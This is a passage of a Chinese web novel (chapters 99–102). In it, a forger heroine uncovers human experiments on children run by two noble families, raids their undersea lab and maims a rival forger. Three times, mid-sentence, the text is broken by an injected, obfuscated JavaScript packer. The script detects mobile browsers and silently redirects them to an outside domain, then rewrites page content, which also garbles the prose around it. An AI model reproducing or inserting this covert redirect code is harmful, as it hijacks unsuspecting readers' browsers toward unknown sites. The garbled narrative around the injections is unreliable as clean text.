伴随着刺耳的警报声,红光在她瞳孔中不断闪烁,刀语心从保险柜中拿出一份报告,而报告的标题则是——关于名为血种个体的血液研究。 同一时刻,正在宴会中周旋的苏家家主接收到警报。 “失陪。”脸上带着笑容和正在交谈的贵族致歉,苏家家主转身朝自家后院走去,途中还在下达命令:“带两队守卫去三楼书房集合,其余人搜查庄园周围。” 会是谁挑这么一个时机?难不成有人藏匿在来参加宴会的人群中? 他表情实在算不上好,视线晦暗不明来回在各路来宾面上扫过。 到底是谁这么不知好歹? 并不算小的阵仗自然引来他人的疑问,其中就有打算拖延苏家家主步伐的迟明煦。 他挂着笑不怀好意地迎去:“苏家主,发生什么了吗?” “一些小事,不劳迟少主费心。”苏家和迟家关系算不上紧密,自然也不会过多交谈。 迟明煦和罗茜交换一个眼神,示意让她上前拖延,不过他们所担心的人影已经重新出现在他们面前。 “不知道是出什么事了?我在花园中听到一些动静。”刀语心假意疑惑地询问道。 “有不懂事的小贼闯入书房罢了,看来这次宴会不能让维罗妮卡小姐尽兴。” “无碍,只希望没什么损失才好。” “借你吉言。”简单寒暄后,苏家家主就抛下宴会离去收拾烂摊子,宴会则还在进行,留下的大多数人都是抱着看热闹的想法。 其余三人无言注视着刀语心,她轻声开口:“找到了。” 应付完宴会上虚与委蛇的各路人士,回到安静的宅邸中几人展开交谈。 “所以为什么会造成这么大动静?”迟明煦看向刀语心询问。 “直接、快速、有效。”这是她的答案。 比起在那里捣鼓破译密码将时间拉长,不如直接一不做二不休把东西全撬开抢走。 “就算他们要对之后的计划进行调整,也需要时间。” 这次行动收获颇丰,她将得到的情报分门别类,根据情报上的信息来看,苏秦两家对其余几家都有不同程度的下手,其中会对迟明煦和罗茜造成不同程度上的麻烦。 “还真是多谢你了,不然我们身为正常人很难想象到有如此恶毒的手段。” 在规则破碎的当今时代,茹毛饮血的法子层出不穷,人性的凶恶是看不见底的深渊。 “你应该还找到什么吧?”从刀语心的表情上来揣测,罗茜知道她大抵是见到了什么不堪入目的事实,“需要帮忙吗?” 闻言,刀语心面色不虞。 “资料上显示,苏家和秦家联手到处掳走人类,进行人体实验。” 而其中的一个重要研究对象就是从前尚且年幼的雪姬。 “这件事我略有耳闻,在外界看来这是一起与家族无关势力犯下的罪行,实际上因为出手的是那位神明,所以大多数痕迹都被抹消。” “……神明?”刀语心言语中是不加掩饰的疑惑。 “对,的确是祂。” 罗茜明白刀语心的疑虑来自何处。 神明和灾厄同时降临,又加之世界外的种种,可以说就是祂造成如今世界的苦难。 “浩劫降临至今不过十八年有余,许多人甚至还没有找到属于自己的位置,破碎的时代大多数人都自顾不暇,也唯有祂能够将这些丑恶了结。” “虽然并不彻底,但这也成为那些信徒信奉和传唱祂的缘由。” “……我明白了。” 如此一来,刀语心也理解为什么雪姬会成为狂信徒的一员,是神将她于无尽苦难中救出。 世界并不是非黑即白,每个人都有自己赖以生存下去的理由。 刀语心不会因此就原谅神明犯下的罪行,她必须一次次做出决断,直至她能够彻底将命运掌握在自己手中。 她在心底将叹息掐断,思绪回归正题。 “从前的研究让他们两家获益颇多,即便遭受神罚也不足以打消他们的欲望,他们据点在一艘名为幽灵号的船上,那是什么地方?你们有听说过吗?” “很遗憾,没有。”迟明煦两手一摊,“海上不是我们能插足的地方。” “有许多不愿意加入任何势力有能之士在海上称王称霸,还非常排外,尤其是对我们这些家族和各势力的成员。” “的确如此。”罗茜附和道,海上是连秘苑也无从下手的地方。 “资本家还会有被反垄断的一天?” “世界之大无奇不有。”迟明煦挂着假笑回应这份调侃,“听说最近海上有举办一个拍卖会,遗憾的是,我们没有人收到邀请函。” “那我自己想想办法吧。”刀语心记得之前在黑市上遇到的韩弈,对方曾夸下海口什么都卖。 告别前夕,刀语心将打好的剑拜托罗茜转交给宋齐。 “罗茜姐,你那边有什么需要我帮忙的吗?” “我这没什么大问题,又有你带来的资料帮助之后只会更加顺利。”罗茜反而是看着刀语心目光中流露出一些担忧。 “反倒是你,之后我都帮不上忙,你一定要小心为上,有什么我能帮上的也尽管和我开口。” “好。”刀语心眉眼稍弯,“那就祝我们一切顺利。” “一切顺利。” 目送他们离开后,刀语心打开终端发出一条消息。 —— 北区,神殿内。 “你的意思是,刀语心就出现在他们眼前,但他们依然没有抓住她?”听着传召使的言语,独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323840|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐高位的神明显然有些不悦。 “真是一群废物,以后这种消息不要说给我听。” 说着祂视线投向下方,除开传召使之外还有雪姬,站在她身侧的修女和转着匕首的黑发男子黑影。 “小雪姬,你身上的伤好了没?” “已经好多了。”雪姬犹豫再三还是问出自己的心底疑问,“神明大人,她真的非死不可吗?” 她毫无疑问指代的是刀语心。 在雪姬问出这个问题后,位于她身旁的二人都有不同程度的紧张。 将一切收录眼中的神明并没有回答雪姬的问题,而是笑着开口调侃:“你们别这么害怕嘛,我是那种会随随便便杀人的角色吗?” “你是。”传召使应下。 “那我应该早就杀了你才对。”说完,神明将视线重新转回雪姬,少女眼眸中是一种近乎执拗的渴求,她迫切地想要知晓答案。 “小雪姬,让所有人都满意的答案是很难得到的。” 祂的确是不在乎世人的神明,不过雪姬和在场的其他人都不包含在世人的范围之内。 “在这个世界中能够杀了我的只有神阶武器,在刀语心出现之前我已经杀死能够和有可能锻造出神阶武器的锻造师。” “可以说,她是这个世界杀死我的最后可能。” “在我曾经所在的世界,那些人很喜欢用预言来规避自己的命运,我也一样,不过我不是相信并去试图预言,而是将一切可能性抹消从而来打消可能的命运。” 祂走下台阶,站在众人对面。 “小雪姬,我还不想死呢。” 祂让吴德将神令交由刀语心,又纵容狂信徒对其追杀,即便不换位思考祂也知道她绝不会善罢甘休。 “如果……有让她不会杀死你的方法……”雪姬有些犹疑,断断续续地说着。 “那就去试试吧。”祂摸摸雪姬的脑袋,没有直接否定雪姬的期望。 听到祂的话语,雪姬的眼神从先前的担忧颤抖,逐渐变得坚定和不可动摇。 “好!”她会抱着这一点最后的天真走到最后,莉莉安已经离开了,她不想再让拯救自己的神明和刀语心陷入同样的困境。 挥手送别雪姬和修女后,空荡荡的神殿中只剩下三人。 “你认真的?那狂信徒那边怎么办?”传召使也不知道这位阴晴不定的神明究竟在想什么。 “继续找到她然后试图杀死她啊,还能怎么办?”神明两手一摊。 “所以你刚才在对雪姬撒谎?” “为什么你会这么觉得?我祝愿她能够达成她期望的局面,和我想让局面达成我所期望的样子有什么问题吗?” 听到这不负责任的话语,传召使只觉得头疼,“问题大了去了。” “还有你,黑影。”传召使矛头一转,“你是永远不打算告诉雪姬,你才是她的亲哥哥了?” “告诉雪姬对她有什么好处吗?除了让她再次想起从前不堪回首的记忆和知道我这个哥哥的无能之外。” 一直在手中旋转的匕首停下,黑影看向传召使。 “所以你就任由她在外面找好姐姐?修女现在还把你的护卫任务抢了,我真是搞不懂你脑子里到底在想什么,明明你才是她血脉相连的家人。” “如果这是她想要的那就没什么不好,雪姬是我的家人这永远不会改变。”他不希望自己成为雪姬的负担和累赘。 “我还是觉得你是在逃避。”面容冷漠的少年给他宣判死刑。 “你就当我是吧。”黑影不打算多做解释。 “……家人?家人是什么?”津津有味在一旁看戏的神明大人发出疑问。 “这里还有正常人吗?”传召使崩溃。 100. 第 100 章 另一边,黑市内。 -海上拍卖会的邀请函要多少钱? 正在挑拣货品的韩弈收到这样一条消息,邀请函并不是买卖的商品,他只当对方是在异想天开,于是开出和邀请函毫不匹配的价格。 “一百万金币吧。” 他以为自己得不到回复,只是下一秒,他的账户就到账了一大笔钱。 不对。 他仔细一看,这是之前遇到的潜在客户。 “姐,你是真有钱啊!” -嗯。 韩弈看出来了,这位大客户不仅有钱,还很高冷。 -所以,邀请函什么时候给我? “你怎么看?”这不是韩弈能拿定主意的事,他将自己的终端划到一旁,而在他身侧之人正是和刀语心有过一面之缘的船长。 “查查她是谁呗,没什么问题就让她来。”作为甩手掌柜,她正在一地琳琅满目的货物中,寻找自己的目标。 “旧世界的酒啊,太好了!” “酒鬼……”韩弈有所不满但他的不满毫无作用,“我上次没问她名字,我现在问问。” 他快速在终端上打出回复:“老板,我需要了解一下你的信息,请问你的名字是?” -刀语心。 “哇哦。”在名字出来的一瞬,船长侧身凑了过来,“这不就是那个……魔头?” “严格意义上来说她是传言中改变世界之人,并不是魔头,那些将她妖魔化的传闻更像是中央城中的权贵为了保护自身利益而进行的抹黑。” 停顿一下后,韩弈补充:“更何况,她都把钱转我了。” “所以重要的是你不想把钱还回去对吧。”船长略显无语的眼神看向韩弈。 “没有钱可养不起船。”他两手一摊,“所以,我们要怎么办?” “还能怎么办?如果收钱不办事,我们会成为故事中的反派被她清算吧?”船长深知韩弈的秉性,他就是一头只进不出的吞金兽。 “不过说真的,被莫名当作恐怖存在的人我还是很想见上一面的。” 她很好奇,对方到底是何种模样才会让那些人如此不安,甚至作出散布谣言这等愚昧的行为。 “那就让我们见识见识吧。”韩弈将停泊的时间发送。 天微微亮,晨曦带来的金灿日光映在遥远海岸线上。鸣笛的轮船缓缓靠近港口,在岸边等待的人纷纷抬头找寻方向。 船长在操作室内朝外打量,韩弈则在甲板上任凭海风吹拂。 岸边的人群并不算多,但一时之间他们却找寻不到正在等待的人,直到一位被黑色长檐帽遮盖容貌的女士踏上甲板,来到他的面前。 她抬起帽檐解除伪装,有过一面之缘的韩弈立刻对上她的身份。 “你好,我是刀语心,这位是我的同行者。”在她身后的谢止沉慢一步与她并肩,简单颔首示意。 “老板好。”见这阵仗韩弈很快想起他们初见时的情景,有一些难缠的尾巴在跟着她。 “那些人还在找你吗?” “嗯,不过这次应该不会跟来。” 先前她在城中接连出现,此时的狂信徒大概率在城中四处寻找她的踪迹,没有预言和定位以及足够的信息,谁也无法料到刀语心会去往海域。 闲谈间,船长出现在几人面前。 “原来是你啊。”她认出了刀语心。 韩弈询问:“你们认识?上次坐船的时候?” “那次我的船不是被狂信徒毁了,那笔赔偿金是她给我的。” 在这一刻,韩弈才将事情的前因后果联系起来:“所以之前追你的人和你现在要躲避的人都是狂信徒。” “是。”刀语心并未否认。 “你上船应该不止是为了拍卖会吧?我们是会找到一些城内没有的东西,但这可不值得你亲自前来。”尤其是对刀语心这样随手能拿出很多钱的人来说。 鉴于之后还要向他们打听海上相关事宜,刀语心没有过多隐藏:“我的确别有目的,我要找到一艘漂泊在这片海域上的船,然后上去。” “以及,我可以加钱。” 都不用韩弈请示,船长直接大手一挥:“完全没问题,这里人多耳杂,我们去里面谈吧。” 怕自己突如其来的热心肠让对方心生疑虑,船长先一步解释道:“我的船被毁过很多次,目前为止只有你赔偿过我。刀语心小姐,你是个大好人啊。” “是吗?”闻言,刀语心脸上浮现出浅笑,不过很快就消失不见。 牵着她的手稍稍握紧,她看去,只见谢止沉在无声地对她说:你是。 随后,会谈地点转到船舱室内。 “好了,这里应该足够安全,其实如果你不想说可以不用很详细地告诉我们,我们只需要一个模糊的大概来确定我们是否处于危险之中。” 明白船长的用心,刀语心直接挑明重点:“我想,二位应该和中央城苏家秦家没什么关联吧。” “当然。” “据我所知,他们两家在私下进行人体实验,而窝点很可能就在海域的某处。” 刀语心此行的目的是寻找关键证据,让神殿拥有足够出手的理由,从而借神殿之手彻底铲除两大家族。 这事有违人伦,在听到后船长韩弈面上的脸色都算不上好。 “印象中有一群人,他们借口自己需要去探索海域,然后会在某个节点从我的船中凭空消失。虽然他们自以为天衣无缝,但实际上我对我的船了如指掌。” 因为这些人是一直以来的老客户,即便身份有些疑问船长也没有过多在意。 “我可以去看看他们的房间吗?” “可以。” 房间内没有多余物件,也没有任何可疑的迹象,在谢止沉检查的期间刀语心也将自己从苏家获得的部分证据展示给船长二人。 “这些人真是挨千刀的,把他们喂海鲨都嫌恶心。”船长恨不得把这些人撕碎。 “周围并没有传送法术的迹象。”检测无果。 船长没有欺骗他们的理由,只可能是他们进入据点的方法极为隐秘。 下一刻对上眼,刀语心明白谢止沉也有了大致的猜测,“他们是通过固定空间的锚点传送,也就是到某个固定的区域再施展法术就可以离开。” “得等一等,坐标锚点大概在航线上的某处。” “真巧,他们来了。”韩弈推开门带来消息。 顺着他的目光,刀语心转头看到一些人陆陆续续走上甲板,他们的伪装很成功任谁都看不出是大家族的爪牙。 “是啊,真巧啊。” 很轻松的语气,只是任谁见了刀语心的表情都不会得到这种结论。 她的瞳孔死死盯着那几人,随着那些人的步伐移动直至他们消失在视野之中。隔着一道屏障,她将那几人的面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328359|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容记下。 她谁都不会放过。 “若有需要,可以告诉我。”船长出声,她对自己成为这些人间接帮凶的情况十分不爽。 “大概得麻烦船长你处理好尸体和血迹了,在你的船上出事也可能会给你带来一点麻烦。” “不用担心。” 船长闻言露出一个不羁的笑,“他们拿我没办法。” 夜色,在约定好的时间里,家族的爪牙没有收到领头的命令,在海浪翻涌中,一声闷响传入他们的耳中。 赫然从床上站起,准备去隔壁看看到底是发生了什么。 只是刚打开门,就撞上韩弈,他脸上习惯性假笑眼神中却毫无笑意,“几位?有什么事吗?” “韩老板,我想确认一下我同伴的状况,我们联系不上他。” “大半夜的,你们找他干什么?” 一而再再而三的追问,也让这些人意识到情况不妙,在现在这个时间撞上对方可能不是巧合,是他早就在此等候。 通往领头的道路被拦截,他转身想去寻找其他的同伴,却见有一人在他们身后不知站了多久。 “这么晚了,你们想去哪里啊?”船长笑着彻底了结他们的性命。 昏暗房间中已是一地血迹,唯独有一点法术的微光将四周点亮,谢止沉正在延续被中断的法术,将其缓慢修补直至填充完整。 血泊蔓延至刀语心脚边,她正在从他们身上的储物空间中搜寻着什么。 “是这个吗?”她将一根绳索递到谢止沉面前。 “对,上面附着着空间法术的力量,用来连接锚点。” 被法术解开的绳索变得比原先的长度还要更长,绳头窜入法术具现的圆圈中,谢止沉一手拉上绳子一手牵着刀语心,口中低吟着法术咒语。 强烈的吸附感伴随着一阵强光席卷整个房间,而后二人连同绳子消失不见。 光芒过后,刀语心视野缓慢恢复,周围是岩石上面一些藻类遍布,空气阴冷潮湿但四周并没有水的存在,他们所在的地方似乎是一个洞窟。 “我感应到原先锚点那里有人存在,改变了落点位置。”谢止沉出声解释。 虽然无法完全瞒天过海但至少可以拖延他们一段时间,趁敌人还未发现他们之前,需要弄清楚这里的大致情况。 打开终端刀语心确认自己所在位置,可地图上显示的只有一片蓝色。 “这里是……水下?” “这里的海水被人为抽干,再由屏障隔绝制造出一个可供人类自由活动的区域。” “还真是好大的手笔。”如此一来,海洋就是他们的天然掩饰,将一切丑恶遮盖无踪,费这么大的劲就是为了残害他人牟取利益。 让人恶心。 流光朝四周发散比他们更快摸透周围的状况,刀语心二人沿着指引前往有人所在的地方,边走刀语心的视线边扫过四周,一些腐烂到看不出是什么的海洋动物,还有一些鱼骨,以及,人的头骨。 绕开那破碎的白骨,顺着掉落的地方抬头看去,一座尸骨堆积的小山就暴露在他们眼前。 从这些剩下的尸骨上刀语心看不出什么,只是与自己相比而言这些骨头都有些小。 蹲下捡起一块手骨,谢止沉得出结论:“看起来,这里都是一些半大孩童。” “……”刀语心闭眼,压抑怒火。 “走吧,我们毁掉这里。” 101. 第 101 章 阴暗潮湿的室内,唯有一点光芒在冶炼台上点亮,废弃的材料堆积成山摇摇欲坠,无人敢多指手画脚。 有人一袭黑衣敲门进入后毕恭毕敬地半跪在地上:“瓦尔坎大人,有外来者闯入。” 冶炼台前还有一人自始至终都背对众人,任凭下属手持屏幕恭恭敬敬在座椅后方举起,从未回头。只见投影面有两个红点在闪烁着从外围不断逼近,这就是所谓的外来者。 “处理掉就好了,问我做什么?”坐在冶炼台前的灰发少年神色恹恹说道,“还是说你们也想去死了?” “很抱歉大人,只是对方身份有些特殊。”下属声音一顿,得到许可后继续出言,“是那位名声在外却从不在中央城露面的刀语心。” “啊,是她啊。”听到熟悉的名字,瓦尔坎终于放下手中事物,抬起头。 刀语心,一个长长久久萦绕在他脑海中看不清面目的人影。 她从未露面,但中央城暗中有不少关于她的消息流动,一些来自于预言,无论是占星会还是一些无所属预言家,都预言有一场改变世界的契机逼近,可以说若有新世界,那么刀语心便是预言中推开大门的钥匙。 在家族眼中,刀语心是一个值得投资的筹码,是可以合作的盟友,也是带来灾厄,有极大可能毁灭他们一切的元凶。 对瓦尔坎来说,重要的是对方同为锻造师的身份。 他身在暗中作为家族的暗锚,在中央城中流通的锻造物件他基本都会过目,有趣的是无论是救世会一直拿出的武器,还是迟家一直在暗中售卖的锻造物件,都出自同一位锻造师之手。 这点相同对他而言无关紧要,关键的是一直以来认为自己天资卓越绝无仅有的瓦尔坎在那些造物面前会不由自主地心生溃败。 他输了,他没办法赢过。 无论是费时费力雕刻出的作品,还是批量化生产的武器,只要稍有了解都会感慨其中的精彩绝伦。而后,一种难以言喻的情感自瓦尔坎心中迸发。 凭什么?他心底的声音在叫嚣。 “把另外一个人处理掉,我要去亲自见她。” “是。” 另一边,在外围的刀语心二人按照流光的探索和指引在庞大的海底匆匆掠过。 遇到的绝大多数人好像对他们的到来毫无察觉,在察觉时他们也就会死去。如同薄纸一张,一捅即破,是太过依赖海面作为屏障有恃无恐?无法得到答案的刀语心留有几分警惕。 这个庞然大物既然能在暗中苟活,一定还有什么不为人知的手段。 既然藏于阴暗海底,就说明在阳光照耀的地方容不得他们存在。即使与千渡只有寥寥几面,但刀语心很清楚,如果千渡知晓这里的存在,她绝不会善罢甘休。 神殿或许藏污纳垢,但绝不是无所作为的地方。 先前在密室找到的资料牢牢印在刀语心的脑海中,这些肮脏的实验早在数年前就已经开始,期间甚至被神亲自出手毁灭过一次,但他们还是不曾放弃,依然要去迫害无辜之人。 恶心之意难以言表,随着利刃刺进为虎作伥者的胸膛。 流光在不远处停下,待他们赶到后却发现那里只有一个通往地下的门框。对视一眼后,刀语心将剑尖嵌入其中将其撬起,光投射进的瞬间,暗中有无数双眼眸亮起。 那不属于异兽,而是年幼的孩童。 在不被实验的时间惊醒,他们也没有任何的慌乱,乃至任何的情绪。唯一剩下的,只有永无边际的麻木。他们只是看着,看向光亮照进的地方,看见从未见过的人也生不起任何求救的心思,在这片茫茫海底他们早就失去生的希望。 脏污的绷带,结疤的伤口,触目惊心的一切呈现在刀语心面前,随即身后出现数十名黑衣人将刀语心二人围住。 她不曾回头,瞬息间作出决策:“你带他们去找千渡,我留下。” “好,你多加小心。”说完谢止沉就展开流光,开始在室内绘制临时传送阵。 任谁都知道,要是这些孩童离开秦苏两家的阴谋败露,他们谁都不会有好果子吃,为首之人下令:“毁掉传送阵!” 没有多余言语,众人都展开进攻,即便有瓦尔坎下达的指示,这些人自然也会以自己的性命为重,想要将传送阵破坏。 刀语心站在两方中间,未曾动作,在那些攻击即将落下之时,漆黑的屏障将一切吞噬殆尽。 地下的房间没有窗户,没有大门,曾经封锁他们的门板此刻成为便于守住的防线,没有一道攻击能够成功越过刀语心。 家族把活生生的人当作实验品随意存储在储物室中,也造就此刻易守难攻的局面。 远处,遥望此地的瓦尔砍身边有一人在满头大汗地施展法术。 “瓦尔坎大人,进不去,奴隶圈那片空间被封锁了。”说话那人的能力不足以突破封锁。 “废物。”在远处看着下面的人无论如何都无法成功,瓦尔坎自知下属无力,“既然如此,那就全部毁掉。” “那些奴隶……”询问之人没有得到任何回应,这也是一种回答。在其他人眼中那些孩子只是实验品,是耗材,是工具,唯独不是和他们一样的人。 下属无法违抗命令,颤抖着按下按钮,紧随其后,地下室四周早早埋藏下的炸药疯狂闪烁着红光。 嘣—— 视野之中掀起无数灰尘。可待到尘土落下,只见破旧的建筑屹然不动,而其中再无任何人的身影。 不知什么时候黑色的细线缠绕上他们的手脚,有人不解询问:“你身上是什么东西?” “不对!快把这些线甩开!” 只可惜,黑线已将他们拉入死亡。 众多黑衣人在瞬息间死去,什么都没有留下。海底人手本就不算多,现在就只剩下唯一有能力将瓦尔坎传送走的空间能力者和瓦尔坎本人。 太过仰仗于隔绝一切的海面,可一旦突破封锁之后,其中的人基本没有任何还手之力。 “瓦尔坎大人,我送你离开。” 灰发少年遥望先前爆炸发生的地方,不曾言语。下属额头又一次滴下冷汗,他不知道为什么这么多人会瞬间就死去,身体遵从着本能开始刻画,只是在传送阵结成的那一刻,转眼间就分崩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339692|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离析。 一股漆黑力量将其毁成碎片。 在恐惧之中,那人也被夺走性命。 先前消失的刀语心,此刻从阴影中缓缓走出,剑刃上不知是谁人的血还在不断滴落。 “我终于见到你了,自我介绍一下,我是瓦尔坎,也是锻造师。” 说着瓦尔坎脸上洋溢着莫名的兴奋,对此刀语心神情漠然并未给予任何回应,在她眼中,这只是个将死之人而已。 她想,只要在把这里毁掉之前,收集一些指向那两家族的证据就可以了,或许都不大需要,如今谢止沉已经将那些孩子带走,千渡绝不会轻易饶过。 所以,眼前这人没有任何存活下去的必要。 思及至此,刀语心提起剑,瞬息间就来到瓦尔坎面前,剑尖没入他的脖颈。鲜血即将喷涌而出的下一刻,听见一声脆响后,瓦尔坎整个人就消失在她的面前。 “怎么下手这么重呢?我想和你聊聊天的。”他出现在五米之外的高地,紧随其后的就是刀语心的攻击。 同样身为锻造师,惊叹于刀语心的战斗能力的同时,瓦尔坎本身也拥有很多保命手段。异化之力瞄准目标落下,但会在触碰的前一刻消失。 “我可是很早很早就知道你了,你之前在哪,你是被救世会藏起来了吗?还是迟家,你和他们又是什么关系?你以后会一直在中央城吗?” “你戴着的,是我制造出来的伪装装置吗?真是太好了。”在瓦尔坎看来,被懂行的人欣赏才是价值所在。 一直没有任何回应的刀语心,却在听见这话之后兀自站在原地,把项圈摘了下来当着瓦尔坎的面将其毁掉。 “你在做什么?” 趁着瓦尔坎震怒,刀语心没有丝毫留手直接朝他砍去。先前刀语心就注意到他周围有一层能量波动,相比是一个触发就会自动转移的道具,一次次试探中,异化之力已将瓦尔坎禁锢在原地。 她对准的,是他的手臂。 “啊——”一阵因疼痛的扭曲尖叫在空气中震颤。 “为什么,为什么你要砍断我的手!你身为锻造师,你知道手对我们来说是多么重要的东西。”瓦尔坎抱着自己的失去手掌的右臂,主动使用道具移开。 因痛苦而流出的眼泪同汩汩而流的血液,都在不断向外溢出。 “原来你也知道什么是重要的啊,那你怎么理所应当地去迫害那些孩子呢?” “我和他们不一样,我和他们不一样……”他颤抖着将自己的断肢对准切口,再小心翼翼地按上使用道具修复,可就算他真的活下去,日后也会产生不可估量的影响。 “我不否认,他们都是耗材,都是实验品牺牲品,但只要我锻造出神器,他们的一生就有了前所未有的价值。” “他们会从籍籍无名,被世界遗忘,被父母抛弃的普通人,化作神器的奠基者,这难道还不够吗?”他愤怒地朝刀语心吼叫。 在瓦尔坎眼中,这是前所未有的荣耀。 “神器?奠基?”她毫不掩饰地嗤笑。 “你这恶心的一生也就只剩下这些东西了吧?” 102. 第 102 章 强行将自己恶心的价值观加诸他人,再给予无关痛痒的奖励作为加注,为扭曲的行为合理化来达到一种心理上的安慰。 “锻造对你来说真的重要吗?你更看重的是名声吧?你以为锻造出神器后所有的一切都会一笔勾销吗?” 说罢,刀语心又一剑刺入瓦尔坎的腹部。 “不会。” 血液不受控制地反涌而出,在接二连三的痛楚下瓦尔坎终于明白刀语心和他完全不同,她此刻想要的只有将他杀掉而已。 他身上的装置还在运作,不断愈合着鲜血淋漓的伤口,随即使用道具又一次消失不见。 这一次,他没再敢出现在刀语心附近。 将剑收起,刀语心不得不佩服于瓦尔坎的难缠。流光带来信息,谢止沉将这片空间封锁,没有后顾之忧的她也不介意将这场屠杀拉长。 虽说他的道具十分有效,但同为锻造师刀语心也明白这绝对不是永久的,凡事皆有代价。 站在一片狼藉之中,她的视线扫过目之所及的方向,流光也为她指明道路前往大本营所在,她明白这里作为瓦尔坎的老巢她需要小心行事。 很快,断掉的轮船出现在她的眼前。 一艘断成两节的轮船不知何时在海底沉没,被随意又粗糙地改成住所,船身外部还遍布着许多苔藓。而内部一眼望去满目黑暗,想必是故意为之。 没等刀语心走近几步,攻击就随着歇斯底里的叫声朝她冲来。 “为什么?为什么你要毁了我的一切!”黑暗中还有许多暗器,躲开后被它们碰到的地方都开始腐朽。 瓦尔坎的想法不难理解,同为锻造师,他们没必要敌对完全可以互相欣赏互相合作,在锻造师极度稀缺的当代,这极为难得。 更何况他想制造出神器来让万人敬仰,他一个人没办法做到就想去找帮手,这也是理所应当的。 只不过,刀语心并不想认同。 “别把我和你相提并论。”她冷声道,这所有的一切都是瓦尔坎自顾自的幻想。 “凭什么?凭什么我不能和你相提并论!”他的语气十分激动,很显然是被戳到了痛处,“你不就是仗着自己天资过人,要是没有救世会要是没有迟家,你难道以为自己能有今天?” 很显然,瓦尔坎在以己度人,他在秦苏两家的帮助下走到今天,自然也以为刀语心也是一样。 “我当然不会有今天。”剑身不紧不慢挡过暗器,带着寒意的话语随之而来。 “要是没有他们,我都不用来到这里。”刀语心语气中的讥讽正逐步转变为怒火。 天资?在年幼时无数个饱受折磨的日夜,又无数次被迫拿起她不愿意触碰的锻造锤时,刀语心也想到过这个问题。 她想,自己真的有锻造天赋吗? 如果有的话,为什么她会一次又一次受伤,一次又一次失败,一次又一次被否定。她看着自己用尽所有力气锻造出的造物,被毫不在意地扔进火炉当作废品。 如果没有吴阿婆,没有救世会,她是否还会走上这样的道路,拥有这样的命运? 也许她会被抓起,成为实验品成为耗材,也或许早早就死去。又或者她会成为一个普通人,在这片大地上四处流浪,会拥有选择自己职业的权力,去走自己选择而不是被强迫的道路。 至少在其他的设想中,她不会从噩梦中惊醒,不会被该死的诅咒缠身,更不会有那刻骨铭心的痛苦。 而这一切的一切,在瓦尔坎看来是她的天资,是命运对她的嘉奖。 “你去死好了。” 刀语心不愿去向谁证明自己的苦难,她会用利刃对准自己讨厌的一切。 顺着先前声音传来的方向,她挥剑将其摧毁,被击破的船身从外界传来光亮,也勉强让刀语心看清周围的布置,一闪而过的黑影在她视野中留下痕迹。 她没有急着去追,而是不断将本就破烂的轮船裂隙扩大,毕竟谁知道瓦尔坎会在自己的老巢里面做些什么。 见没办法将人引入刻画阵法的更深处,瓦尔坎只能朝着刀语心扣下扳机。 只不过发射器对准的不是她,而是她手中的剑。 只见刀语心又一次想要用剑将袭来的攻击躲避,这正中下怀,很快,灭灵剑的剑身开始被腐蚀,两侧的剑刃也变得锈钝不堪。 某种程度上来说,锻造师的脑回路也是一样的,他们制造武器,自然也知晓如何毁掉武器。 “你的剑不是自己锻造的吧?” 瓦尔坎得意扬扬地说道,从他在暗中观察得到的结果来看,刀语心挥剑毫无章法,甚至比起用剑她更像是在用刀。 “你以为没了剑就拿你没办法了吗?”他听见她说。 赤红流光在瓦尔坎眼前一闪而过,随即无尽的黑将其吞没。那些朝他涌来的漆黑力量蚕食着他还未痊愈的伤口,甚至给他一种往自己灵魂里钻的感觉。 “这到底是什么鬼东西?你究竟是不是锻造师?”为什么她的手段这么多?还这么邪门? 为什么?为什么会这样? 自从发现自己拥有锻造天赋,选择成为锻造师后,瓦尔坎就觉得自己所向披靡。在遇到刀语心之前,他遭遇过最大的变故就是年少时的饥饿和漏雨的破屋。 这个世界的锻造师遭受过一次断代性的屠杀,而他恰好幸运地躲过。 没有选择职业自然也就不曾拥有职业,在那之后,他又在机缘巧合下被家族的人找到合作。 过往遭遇的所有不堪都在此之后迎刃而解,那段日子可谓是风光靓丽,只可惜,没过几年他负责的那片产业就被神亲自出手摧毁,他恰好外出去寻找更适配血种的材料又躲过一劫。 再后来,在神殿近乎严苛的审查制度下,家族只能让他屈身海底。 这对瓦尔坎来说并没什么,海底的日子再差也没有他童年刚经历过浩劫那段日子差,更何况,他一直有着自己想要追寻的目标,那就是锻造出神器。 就在这条道路上,他忽然间发觉自己引以为傲的天赋好像不够用了。 家族对他这唯一一个锻造师可以说是倾尽一切,又在中央城中拥有各式各样的宝物消息,可就算是在竭尽全力的状态下,瓦尔坎还是只能锻造出残缺的半神阶装备。 紧接着,他就见到刀语心的造物,直觉就告诉他,只有这人才能锻造出神器。 从那一刻开始他的神智就在被妒火灼烧,时至今日,无止无休。 